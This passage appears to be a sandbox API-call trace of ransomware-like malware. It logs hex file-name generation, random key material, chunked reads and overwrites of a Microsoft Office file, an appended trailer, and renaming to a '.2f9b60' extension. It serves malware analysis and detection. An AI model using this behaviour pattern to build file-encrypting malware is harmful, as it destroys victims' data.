[0208.876] sprintf (in: _Dest=0x431a1826, _Format="%c%c" | out: _Dest="28") returned 2 [0208.876] sprintf (in: _Dest=0x431a1828, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.876] sprintf (in: _Dest=0x431a182a, _Format="%c%c" | out: _Dest="81") returned 2 [0208.876] sprintf (in: _Dest=0x431a182c, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.876] sprintf (in: _Dest=0x431a182e, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.876] sprintf (in: _Dest=0x431a1830, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.876] sprintf (in: _Dest=0x431a1832, _Format="%c%c" | out: _Dest="7d") returned 2 [0208.876] sprintf (in: _Dest=0x431a1834, _Format="%c%c" | out: _Dest="cd") returned 2 [0208.876] sprintf (in: _Dest=0x431a1836, _Format="%c%c" | out: _Dest="0a") returned 2 [0208.876] sprintf (in: _Dest=0x431a1838, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.876] sprintf (in: _Dest=0x431a183a, _Format="%c%c" | out: _Dest="35") returned 2 [0208.876] sprintf (in: _Dest=0x431a183c, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.876] sprintf (in: _Dest=0x431a183e, _Format="%c%c" | out: _Dest="c5") returned 2 [0208.876] sprintf (in: _Dest=0x431a1840, _Format="%c%c" | out: _Dest="e6") returned 2 [0208.876] sprintf (in: _Dest=0x431a1842, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.876] sprintf (in: _Dest=0x431a1844, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.876] sprintf (in: _Dest=0x431a1846, _Format="%c%c" | out: _Dest="9e") returned 2 [0208.876] sprintf (in: _Dest=0x431a1848, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.876] sprintf (in: _Dest=0x431a184a, _Format="%c%c" | out: _Dest="a9") returned 2 [0208.876] sprintf (in: _Dest=0x431a184c, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.876] sprintf (in: _Dest=0x431a184e, _Format="%c%c" | out: _Dest="92") returned 2 [0208.877] sprintf (in: _Dest=0x431a1850, _Format="%c%c" | out: _Dest="65") returned 2 [0208.877] sprintf (in: _Dest=0x431a1852, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.877] sprintf (in: _Dest=0x431a1854, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.877] sprintf (in: _Dest=0x431a1856, _Format="%c%c" | out: _Dest="71") returned 2 [0208.877] sprintf (in: _Dest=0x431a1858, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.877] sprintf (in: _Dest=0x431a185a, _Format="%c%c" | out: _Dest="cc") returned 2 [0208.877] sprintf (in: _Dest=0x431a185c, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.877] sprintf (in: _Dest=0x431a185e, _Format="%c%c" | out: _Dest="28") returned 2 [0208.877] sprintf (in: _Dest=0x431a1860, _Format="%c%c" | out: _Dest="42") returned 2 [0208.877] sprintf (in: _Dest=0x431a1862, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.877] sprintf (in: _Dest=0x431a1864, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.877] sprintf (in: _Dest=0x431a1866, _Format="%c%c" | out: _Dest="35") returned 2 [0208.877] sprintf (in: _Dest=0x431a1868, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.877] sprintf (in: _Dest=0x431a186a, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.877] sprintf (in: _Dest=0x431a186c, _Format="%c%c" | out: _Dest="74") returned 2 [0208.877] sprintf (in: _Dest=0x431a186e, _Format="%c%c" | out: _Dest="31") returned 2 [0208.877] sprintf (in: _Dest=0x431a1870, _Format="%c%c" | out: _Dest="a2") returned 2 [0208.877] sprintf (in: _Dest=0x431a1872, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.877] sprintf (in: _Dest=0x431a1874, _Format="%c%c" | out: _Dest="69") returned 2 [0208.877] sprintf (in: _Dest=0x431a1876, _Format="%c%c" | out: _Dest="d7") returned 2 [0208.877] sprintf (in: _Dest=0x431a1878, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.877] sprintf (in: _Dest=0x431a187a, _Format="%c%c" | out: _Dest="da") returned 2 [0208.877] sprintf (in: _Dest=0x431a187c, _Format="%c%c" | out: _Dest="da") returned 2 [0208.878] sprintf (in: _Dest=0x431a187e, _Format="%c%c" | out: _Dest="17") returned 2 [0208.878] sprintf (in: _Dest=0x431a1880, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.878] sprintf (in: _Dest=0x431a1882, _Format="%c%c" | out: _Dest="1e") returned 2 [0208.878] RtlInitAnsiString (in: DestinationString=0x4175f768, SourceString="0657d2e62ba5d752052f5090e53294108381d528fb81a15aa17dcd0ad935fbc5e66ee49ef3a9b592651ac1714acceb2842efef35b90c7431a2d369d7d6dada17ab1e" | out: DestinationString="0657d2e62ba5d752052f5090e53294108381d528fb81a15aa17dcd0ad935fbc5e66ee49ef3a9b592651ac1714acceb2842efef35b90c7431a2d369d7d6dada17ab1e") [0208.878] RtlAnsiStringToUnicodeString (in: DestinationString=0x4175f738, SourceString="0657d2e62ba5d752052f5090e53294108381d528fb81a15aa17dcd0ad935fbc5e66ee49ef3a9b592651ac1714acceb2842efef35b90c7431a2d369d7d6dada17ab1e", AllocateDestinationString=1 | out: DestinationString="0657d2e62ba5d752052f5090e53294108381d528fb81a15aa17dcd0ad935fbc5e66ee49ef3a9b592651ac1714acceb2842efef35b90c7431a2d369d7d6dada17ab1e") returned 0x0 [0208.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14f30 [0208.878] wcscat (in: _Dest=0x43146350, _Source="0657d2e62ba5d752052f5090e53294108" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0657d2e62ba5d752052f5090e53294108") returned="C:\\Program Files\\Microsoft Office\\Office14\\0657d2e62ba5d752052f5090e53294108" [0208.878] wcscat (in: _Dest=0x43146350, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0657d2e62ba5d752052f5090e53294108.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\0657d2e62ba5d752052f5090e53294108.2f9b60" [0208.878] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\0657d2e62ba5d752052f5090e53294108.2f9b60", NtPathName=0x4175f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\0657d2e62ba5d752052f5090e53294108.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x430fd760 Thread: id = 1474 os_tid = 0x195c [0120.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml")) returned 0x20 [0120.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml", dwFileAttributes=0x20) returned 1 [0120.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1850 [0120.217] GetFileSizeEx (in: hFile=0x1850, lpFileSize=0x419ffa20 | out: lpFileSize=0x419ffa20*=807525) returned 1 [0120.218] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0xc5261, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.218] ReadFile (in: hFile=0x1850, lpBuffer=0x419ff9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x419ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x419ff9a0*, lpNumberOfBytesRead=0x419ff9e8*=0x4, lpOverlapped=0x0) returned 1 [0122.390] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d9f0 [0122.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da20 [0122.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da50 [0122.390] NtQuerySystemTime (in: CurrentTime=0x419ff8e0 | out: CurrentTime=0x419ff8e0*=132462177277714000) returned 0x0 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x1be521a0 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x3513c995 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x3080569a [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x4d403fe8 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x532a6ae8 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x3ab68c1d [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x12bdb7ed [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0xcac28c9 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x7d4fed4 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x3631c249 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x3dea35ff [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x381ccc1f [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x30c89fc2 [0122.390] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x324662ee [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x64188a46 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x690506e2 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x8be5278 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x32b36584 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x5b849ef2 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x77a05d45 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x6a57ef48 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x155dde00 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x41382633 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x795fe8c0 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x60338801 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x791f07e5 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x3453d9cc [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x16f9e8e9 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x2dab6329 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x2b6f335f [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x3c0652a1 [0122.391] RtlRandomEx (in: Seed=0x419ff8d0 | out: Seed=0x419ff8d0) returned 0x6f7159f2 [0122.397] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.397] ReadFile (in: hFile=0x1850, lpBuffer=0x41f66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x419ff940, lpOverlapped=0x0 | out: lpBuffer=0x41f66910*, lpNumberOfBytesRead=0x419ff940*=0x3c00, lpOverlapped=0x0) returned 1 [0122.414] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0122.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0122.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dbd0 [0122.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dbd0) returned 1 [0122.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2048e2e0 [0122.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dbd0 [0122.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc00 [0122.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dc00) returned 1 [0122.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.415] WriteFile (in: hFile=0x1850, lpBuffer=0x2048e2e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x419ff940, lpOverlapped=0x0 | out: lpBuffer=0x2048e2e0*, lpNumberOfBytesWritten=0x419ff940*=0x3c00, lpOverlapped=0x0) returned 1 [0161.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048e2e0) returned 1 [0161.063] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0x65400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.063] ReadFile (in: hFile=0x1850, lpBuffer=0x41f66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x419ff940, lpOverlapped=0x0 | out: lpBuffer=0x41f66910*, lpNumberOfBytesRead=0x419ff940*=0x3c00, lpOverlapped=0x0) returned 1 [0165.708] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0x65400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0165.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b790) returned 1 [0165.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429cfa20 [0165.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0165.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0165.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0165.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.710] WriteFile (in: hFile=0x1850, lpBuffer=0x429cfa20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x419ff940, lpOverlapped=0x0 | out: lpBuffer=0x429cfa20*, lpNumberOfBytesWritten=0x419ff940*=0x3c00, lpOverlapped=0x0) returned 1 [0194.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429cfa20) returned 1 [0194.850] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0xc1665, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.850] ReadFile (in: hFile=0x1850, lpBuffer=0x41f66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x419ff940, lpOverlapped=0x0 | out: lpBuffer=0x41f66910*, lpNumberOfBytesRead=0x419ff940*=0x3c00, lpOverlapped=0x0) returned 1 [0194.851] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0xc1665, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0194.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32de0 [0194.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32de0) returned 1 [0194.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429cfa20 [0194.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32de0 [0194.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32f00 [0194.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32f00) returned 1 [0194.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0194.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.854] WriteFile (in: hFile=0x1850, lpBuffer=0x429cfa20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x419ff940, lpOverlapped=0x0 | out: lpBuffer=0x429cfa20*, lpNumberOfBytesWritten=0x419ff940*=0x3c00, lpOverlapped=0x0) returned 1 [0205.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429cfa20) returned 1 [0205.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fe50 [0205.382] SetFilePointerEx (in: hFile=0x1850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.382] WriteFile (in: hFile=0x1850, lpBuffer=0x1ce16500*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x419ff9f0, lpOverlapped=0x0 | out: lpBuffer=0x1ce16500*, lpNumberOfBytesWritten=0x419ff9f0*=0x190, lpOverlapped=0x0) returned 1 [0208.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0208.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6530) returned 1 [0208.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x4319fec0 [0208.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0208.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ef0 [0208.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ef0) returned 1 [0208.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbd) returned 0x430fd9d0 [0208.933] sprintf (in: _Dest=0x430fd9d0, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.933] sprintf (in: _Dest=0x430fd9d2, _Format="%c%c" | out: _Dest="54") returned 2 [0208.933] sprintf (in: _Dest=0x430fd9d4, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.933] sprintf (in: _Dest=0x430fd9d6, _Format="%c%c" | out: _Dest="86") returned 2 [0208.933] sprintf (in: _Dest=0x430fd9d8, _Format="%c%c" | out: _Dest="43") returned 2 [0208.933] sprintf (in: _Dest=0x430fd9da, _Format="%c%c" | out: _Dest="6b") returned 2 [0208.933] sprintf (in: _Dest=0x430fd9dc, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.933] sprintf (in: _Dest=0x430fd9de, _Format="%c%c" | out: _Dest="02") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9e0, _Format="%c%c" | out: _Dest="67") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9e2, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9e4, _Format="%c%c" | out: _Dest="55") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9e6, _Format="%c%c" | out: _Dest="c5") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9e8, _Format="%c%c" | out: _Dest="f7") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9ea, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9ec, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9ee, _Format="%c%c" | out: _Dest="af") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9f0, _Format="%c%c" | out: _Dest="91") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9f2, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9f4, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9f6, _Format="%c%c" | out: _Dest="73") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9f8, _Format="%c%c" | out: _Dest="f5") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9fa, _Format="%c%c" | out: _Dest="23") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9fc, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.934] sprintf (in: _Dest=0x430fd9fe, _Format="%c%c" | out: _Dest="29") returned 2 [0208.934] sprintf (in: _Dest=0x430fda00, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.934] sprintf (in: _Dest=0x430fda02, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.934] sprintf (in: _Dest=0x430fda04, _Format="%c%c" | out: _Dest="80") returned 2 [0208.934] sprintf (in: _Dest=0x430fda06, _Format="%c%c" | out: _Dest="5b") returned 2 [0208.934] sprintf (in: _Dest=0x430fda08, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.934] sprintf (in: _Dest=0x430fda0a, _Format="%c%c" | out: _Dest="97") returned 2 [0208.934] sprintf (in: _Dest=0x430fda0c, _Format="%c%c" | out: _Dest="f1") returned 2 [0208.934] sprintf (in: _Dest=0x430fda0e, _Format="%c%c" | out: _Dest="28") returned 2 [0208.934] sprintf (in: _Dest=0x430fda10, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.934] sprintf (in: _Dest=0x430fda12, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.934] sprintf (in: _Dest=0x430fda14, _Format="%c%c" | out: _Dest="3b") returned 2 [0208.934] sprintf (in: _Dest=0x430fda16, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.934] sprintf (in: _Dest=0x430fda18, _Format="%c%c" | out: _Dest="c9") returned 2 [0208.934] sprintf (in: _Dest=0x430fda1a, _Format="%c%c" | out: _Dest="42") returned 2 [0208.934] sprintf (in: _Dest=0x430fda1c, _Format="%c%c" | out: _Dest="cf") returned 2 [0208.934] sprintf (in: _Dest=0x430fda1e, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.934] sprintf (in: _Dest=0x430fda20, _Format="%c%c" | out: _Dest="8d") returned 2 [0208.934] sprintf (in: _Dest=0x430fda22, _Format="%c%c" | out: _Dest="62") returned 2 [0208.934] sprintf (in: _Dest=0x430fda24, _Format="%c%c" | out: _Dest="2d") returned 2 [0208.935] sprintf (in: _Dest=0x430fda26, _Format="%c%c" | out: _Dest="cc") returned 2 [0208.935] sprintf (in: _Dest=0x430fda28, _Format="%c%c" | out: _Dest="24") returned 2 [0208.935] sprintf (in: _Dest=0x430fda2a, _Format="%c%c" | out: _Dest="84") returned 2 [0208.935] sprintf (in: _Dest=0x430fda2c, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.935] sprintf (in: _Dest=0x430fda2e, _Format="%c%c" | out: _Dest="83") returned 2 [0208.935] sprintf (in: _Dest=0x430fda30, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.935] sprintf (in: _Dest=0x430fda32, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.935] sprintf (in: _Dest=0x430fda34, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.935] sprintf (in: _Dest=0x430fda36, _Format="%c%c" | out: _Dest="1f") returned 2 [0208.935] sprintf (in: _Dest=0x430fda38, _Format="%c%c" | out: _Dest="bf") returned 2 [0208.935] sprintf (in: _Dest=0x430fda3a, _Format="%c%c" | out: _Dest="87") returned 2 [0208.935] sprintf (in: _Dest=0x430fda3c, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.935] sprintf (in: _Dest=0x430fda3e, _Format="%c%c" | out: _Dest="09") returned 2 [0208.935] sprintf (in: _Dest=0x430fda40, _Format="%c%c" | out: _Dest="c9") returned 2 [0208.935] sprintf (in: _Dest=0x430fda42, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.935] sprintf (in: _Dest=0x430fda44, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.935] sprintf (in: _Dest=0x430fda46, _Format="%c%c" | out: _Dest="3b") returned 2 [0208.935] sprintf (in: _Dest=0x430fda48, _Format="%c%c" | out: _Dest="7d") returned 2 [0208.935] sprintf (in: _Dest=0x430fda4a, _Format="%c%c" | out: _Dest="74") returned 2 [0208.935] sprintf (in: _Dest=0x430fda4c, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.935] sprintf (in: _Dest=0x430fda4e, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.935] sprintf (in: _Dest=0x430fda50, _Format="%c%c" | out: _Dest="73") returned 2 [0208.935] sprintf (in: _Dest=0x430fda52, _Format="%c%c" | out: _Dest="fe") returned 2 [0208.935] sprintf (in: _Dest=0x430fda54, _Format="%c%c" | out: _Dest="96") returned 2 [0208.935] sprintf (in: _Dest=0x430fda56, _Format="%c%c" | out: _Dest="33") returned 2 [0208.935] sprintf (in: _Dest=0x430fda58, _Format="%c%c" | out: _Dest="19") returned 2 [0208.935] sprintf (in: _Dest=0x430fda5a, _Format="%c%c" | out: _Dest="85") returned 2 [0208.935] sprintf (in: _Dest=0x430fda5c, _Format="%c%c" | out: _Dest="74") returned 2 [0208.935] sprintf (in: _Dest=0x430fda5e, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.935] sprintf (in: _Dest=0x430fda60, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.935] sprintf (in: _Dest=0x430fda62, _Format="%c%c" | out: _Dest="f1") returned 2 [0208.935] sprintf (in: _Dest=0x430fda64, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.935] sprintf (in: _Dest=0x430fda66, _Format="%c%c" | out: _Dest="42") returned 2 [0208.935] sprintf (in: _Dest=0x430fda68, _Format="%c%c" | out: _Dest="f5") returned 2 [0208.935] sprintf (in: _Dest=0x430fda6a, _Format="%c%c" | out: _Dest="71") returned 2 [0208.935] sprintf (in: _Dest=0x430fda6c, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.936] sprintf (in: _Dest=0x430fda6e, _Format="%c%c" | out: _Dest="a9") returned 2 [0208.936] sprintf (in: _Dest=0x430fda70, _Format="%c%c" | out: _Dest="41") returned 2 [0208.936] sprintf (in: _Dest=0x430fda72, _Format="%c%c" | out: _Dest="73") returned 2 [0208.936] sprintf (in: _Dest=0x430fda74, _Format="%c%c" | out: _Dest="d7") returned 2 [0208.936] sprintf (in: _Dest=0x430fda76, _Format="%c%c" | out: _Dest="53") returned 2 [0208.936] sprintf (in: _Dest=0x430fda78, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.936] sprintf (in: _Dest=0x430fda7a, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.936] sprintf (in: _Dest=0x430fda7c, _Format="%c%c" | out: _Dest="48") returned 2 [0208.936] sprintf (in: 